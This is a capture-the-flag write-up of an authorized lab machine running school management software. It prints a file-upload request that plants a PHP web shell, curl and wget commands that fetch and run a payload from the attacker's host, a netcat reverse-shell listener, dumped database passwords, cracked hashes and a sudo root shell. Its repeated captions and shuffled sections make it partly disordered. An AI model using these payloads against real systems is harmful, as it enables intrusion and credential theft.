Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
Enumeration techniques are leveraged to identify potential vulnerabilities, including web enumeration. The lab focuses on exploiting SQL vulnerabilities, practicing privilege escalation, and performing buffer overflow or binary exploitation. This lab emphasizes understanding and exploiting vulnerabilities to enhance security awareness.
Learning objectives
After completion of this lab, learners will be able to:
- Perform enumeration to identify the Free School Management Software running on the server and locate the /management directory.
- Exploit CVE-2022-30525 (unrestricted file upload) to upload a malicious PHP reverse shell and gain initial access as the www-data user.
- Discover MySQL credentials in /management/application/config/database.php and use them to crack the hash for the teacher user.
- SSH into the system as msander and locate an APK file in /home/emiller/development/.
- Reverse the APK using jadx-gui, extract hardcoded credentials, and log in as emiller via SSH.
- Escalate privileges to root using sudo and retrieve the final proof flag.
Scenario
This lab focuses on exploiting an unrestricted file upload vulnerability in Free School Management Software, extracting credentials from a reversed APK file, and escalating privileges to root.
192.168.231.13
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
❯ 2m 8s 18:39:18
~/offsec/educated ❯ gobuster dir -u http://192.168.231.13 --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.231.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
assets (Status: 301) [Size: 317] [--> http://192.168.231.13/assets/]
management (Status: 301) [Size: 321] [--> http://192.168.231.13/management/]
vendor (Status: 301) [Size: 317] [--> http://192.168.231.13/vendor/]
Progress: 42382 / 207641 (20.41%)^CThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# This code block contains the helper code used for the documented lab step.
Host: 192.168.231.62
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------183813756938980137172117669544
Content-Length: 1331
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="name"
test4
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="class_id"
2
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="subject_id"
5
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="timestamp"
2021-12-08
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="teacher_id"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_type"
txt
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="status"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="description"
123123
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="_wysihtml5_mode"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_name"; filename="cmd.php"
Content-Type: application/octet-stream
<?php system($_GET["cmd"]); ?>
-----------------------------183813756938980137172117669544--This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
19:34:53
~/offsec/educated ❯ python3 -m http.server 80 19:34:53
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.231.13 - - [13/Aug/2026 19:35:59] "GET /pshell HTTP/1.1" 200 -This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'school',
'password' => '@jCma4s8ZM<?kA',
'database' => 'school_mgment',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => TRUE,
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE,
);
www-data@school:/tmp$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
www-data@school:/tmp$ mysql -u school -p
mysql -u school -p
Enter password: @jCma4s8ZM<?kA
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 58
Server version: 8.0.32-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
# Read the file contents for useful configuration or credential data.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
SHOW databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| school_mgment |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use school_mgment
use school_mgment
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+-------------------------+
| Tables_in_school_mgment |
+-------------------------+
| academic_syllabus |
| activity |
| admin |
| admin_role |
| assignment |
| attendance |
| bank |
| book |
| book_category |
| ci_sessions |
| circular |
| class |
| club |
| department |
| designation |
| dormitory |
| enquiry |
| enquiry_category |
| exam |
| exam_question |
| expense_category |
| hostel_category |
| hostel_room |
| house |
| invoice |
| language |
| language_list |
| leave |
| mark |
| material |
| noticeboard |
| parent |
| payment |
| section |
| settings |
| sms_settings |
| social_category |
| student |
| student_category |
| subject |
| teacher |
| transport |
| transport_route |
| vehicle |
+-------------------------+
44 rows in set (0.00 sec)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
mysql> SELECT * FROM admin;
SELECT * FROM admin;
+----------+---------------+-----------------+-------------+----------------------------------+-------+--------------+
| admin_id | name | email | phone | password | level | login_status |
+----------+---------------+-----------------+-------------+----------------------------------+-------+--------------+
| 1 | Administrator | admin@school.pg | 07133445656 | 9be3a2dd3a71f3ccc7cc7eb3a5dd997f | 1 | 0 |
+----------+---------------+-----------------+-------------+----------------------------------+-------+--------------+
1 row in set (0.00 sec)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
mysql> SELECT name,password,email FROM teacher;
SELECT name,password,email FROM teacher;
+-----------------+------------------------------------------+--------------------------+
| name | password | email |
+-----------------+------------------------------------------+--------------------------+
| Testing Teacher | 3db12170ff3e811db10a76eadd9e9986e3c1a5b7 | michael_sander@school.pg |
+-----------------+------------------------------------------+--------------------------+
1 row in set (0.00 sec)
mysql>This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
~/offsec/educated ❯ hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt 19:53:45
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
* Device #01: cpu-sandybridge-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 2944/5889 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (3411 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
3db12170ff3e811db10a76eadd9e9986e3c1a5b7:greatteacher123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: 3db12170ff3e811db10a76eadd9e9986e3c1a5b7
Time.Started.....: Thu Aug 13 19:54:33 2026 (3 secs)
Time.Estimated...: Thu Aug 13 19:54:36 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 2663.1 kH/s (0.32ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7790592/14344385 (54.31%)
Rejected.........: 0/7790592 (0.00%)
Restore.Point....: 7786496/14344385 (54.28%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: green347 -> graveplot7
Hardware.Mon.#01.: Util: 33%
Started: Thu Aug 13 19:54:10 2026
Stopped: Thu Aug 13 19:54:38 2026
~/offsec/educated ❯This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
www-data@school:/home$ ls
# Inspect the directory for files relevant to the next step.
ls
emiller msander
# Execute the next evidence-gathering step in the authorized lab.
www-data@school:/home$ su msander
su msander
Password: greatteacher123
msander@school:/home$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
msander@school:/home$ ls
# Inspect the directory for files relevant to the next step.
ls
emiller msander
# Move into the directory needed for the next action.
msander@school:/home$ cd emiller
# Move into the directory needed for the next action.
cd emiller
# Inspect the directory for files relevant to the next step.
msander@school:/home/emiller$ ls
# Inspect the directory for files relevant to the next step.
ls
development
# Move into the directory needed for the next action.
msander@school:/home/emiller$ cd development
# Move into the directory needed for the next action.
cd development
# Inspect the directory for files relevant to the next step.
msander@school:/home/emiller/development$ ls
# Inspect the directory for files relevant to the next step.
ls
grade-app.apk
msander@school:/home/emiller/development$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
9s 19:56:07
~/offsec/educated ❯ scp msander@192.168.231.13:/home/emiller/development/grade-app.apk . 9s 19:56:07
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msander@192.168.231.13\'s password:
client_input_hostkeys: hostkeys_foreach failed for /home/kali/.ssh/known_hosts2: Permission denied
grade-app.apk 100% 4644KB 652.9KB/s 00:07This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
~/offsec/educated ❯ file grade-app.apk 36m 51s 20:11:38
grade-app.apk: Android package (APK), with APK Signing Block
~/offsec/educated ❯This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
## After analyzing the andoid application, we get This outputs: `emiller:EzPwz2022_dev1$$23!!`.Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
~/offsec/educated ❯ nmap -sCV -p- 192.168.231.13 18:36:01
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-13 18:36 -0400
Nmap scan report for 192.168.231.13
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Wisdom Elementary School
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.14 secondsThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
~/offsec/educated ❯ gobuster dir -u http://192.168.231.13/management --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.231.13/management
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
## directory-list-lowercase-2.3-medium.txt (Status: 403) [Size: 279]
## Copyright 2007 James Fisher (Status: 403) [Size: 279]
## Attribution-Share Alike 3.0 License. To view a copy of this (Status: 403) [Size: 279]
## This work is licensed under the Creative Commons (Status: 403) [Size: 279]
## Suite 300, San Francisco, California, 94105, USA. (Status: 403) [Size: 279]
## license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 403) [Size: 279]
## or send a letter to Creative Commons, 171 Second Street, (Status: 403) [Size: 279]
## Priority ordered case insensative list, where entries were found (Status: 403) [Size: 279]
## on atleast 2 different hosts (Status: 403) [Size: 279]
login (Status: 200) [Size: 6374]
uploads (Status: 301) [Size: 329] [--> http://192.168.231.13/management/uploads/]
admin (Status: 200) [Size: 0]
assets (Status: 301) [Size: 328] [--> http://192.168.231.13/management/assets/]
system (Status: 403) [Size: 279]
js (Status: 301) [Size: 324] [--> http://192.168.231.13/management/js/]
dist (Status: 301) [Size: 326] [--> http://192.168.231.13/management/dist/]
application (Status: 403) [Size: 279]
Progress: 1965 / 207642 (0.95%)^Chttps://www.exploit-db.com/exploits/50587 Using the below request in burp suite Now we have uploaded our cmd.php file
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The output records the result observed during this authorized lab step.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2001 100 2001 0 0 30329 0 0
root:x:0:0:root:/root:/bin/bash
msander:x:1000:1000::/home/msander:/bin/bash
emiller:x:1001:1001::/home/emiller:/bin/bash
~/offsec/educated ❯This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
~/offsec/educated ❯ rlwrap nc -lvnp 4444 18:46:53
listening on [any] 4444 ...
connect to [192.168.45.188] from (UNKNOWN) [192.168.231.13] 40834
# Run the helper or analysis script used in this lab step.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.
www-data@school:/var/www/html/management/uploads/exam_question$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@school:/var/www/html/management/uploads/exam_question$Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
~/offsec/educated ❯ curl -G http://192.168.231.13/management/uploads/exam_question/cmd.php --data-urlencode 'cmd=ls -al /tmp'
total 8
drwxrwxrwt 2 root root 4096 Aug 13 23:28 .
drwxr-xr-x 19 root root 4096 Jan 24 2023 ..
~/offsec/educated ❯ curl -G http://192.168.231.13/management/uploads/exam_question/cmd.php --data-urlencode 'cmd=wget http://192.168.45.188/pshell -O /tmp/pshell'
~/offsec/educated ❯ curl -G http://192.168.231.13/management/uploads/exam_question/cmd.php --data-urlencode 'cmd=chmod +x /tmp/pshell'
~/offsec/educated ❯ curl -G http://192.168.231.13/management/uploads/exam_question/cmd.php --data-urlencode 'cmd=/tmp/pshell'This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output contains credential-related evidence recovered during the lab.
## linpeas
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-r--r-- 1 www-data www-data 3896 Mar 31 2023 /var/www/html/management/application/config/database.php
| ['password'] The password used to connect to the database
| ['database'] The name of the database you want to connect to
'password' => '@jCma4s8ZM<?kA',
'database' => 'school_mgment',This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
L
# Execute the next evidence-gathering step in the authorized lab.
emiller@school:~$ sudo /bin/bash -p
root@school:/home/emiller# id
uid=0(root) gid=0(root) groups=0(root)
root@school:/home/emiller# cat /root/proof.txt
11044cc9047c176dc86e757734c87be4
root@school:/home/emiller#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.